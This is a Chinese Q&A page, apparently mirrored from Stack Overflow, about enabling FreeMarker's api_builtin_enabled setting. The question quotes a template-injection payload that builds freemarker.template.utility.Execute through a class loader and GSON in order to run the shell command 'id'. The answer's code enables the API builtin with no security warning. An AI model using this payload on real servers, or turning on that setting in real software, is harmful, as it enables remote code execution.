java - 如何在 freemarker java 中打开“api_builtin_enabled”?
问题描述
当我使用下面的模板时,我会得到错误。请帮我!
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}
解决方案
最简单的使用freemarker模板生成html的java代码可以是: config.setAPIBuiltinEnabled(true); 线可能是您正在寻找的。
import freemarker.cache.ClassTemplateLoader;
import freemarker.core.Environment;
import freemarker.template.Configuration;
import freemarker.template.Template;
// ... other imports
private byte[] createHtmlContent() throws Exception {
Map<String, Object> data = new HashMap<String, Object>();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Writer w = new OutputStreamWriter(baos, StandardCharsets.UTF_8);
Configuration config = new Configuration();
config.setAPIBuiltinEnabled(true);
config.setTemplateLoader(new ClassTemplateLoader(getClass(), "/META-INF/resources/ftl/"));
Template template = config.getTemplate("template.ftl");
Environment env = template.createProcessingEnvironment(data, w);
env.setOutputEncoding("UTF-8");
env.process();
return baos.toByteArray();
}
推荐阅读
- php - 禁用 WooCommerce 产品添加到购物车以获取特定的自定义分类术语元值
- javascript - 比较两个 JSON 并创建一个具有共同值的 json
- python - 在python中将函数输出链接到GUI
- wordpress - WordPress 更改域
- swift - 更新从后台线程更改 UI 的变量 - SWIFTUI
- azure-keyvault - SecretAttributes 对象中的“启用”属性有什么作用?
- reactjs - 在 react redux 中更新相同的状态两次
- arrays - React-Native:如何迭代数组数组?
- r - 使用 data.table 替换值并转换为数字
- php - 如何使用 Linkedin API 从公司页面获取帖子?(营销被拒绝)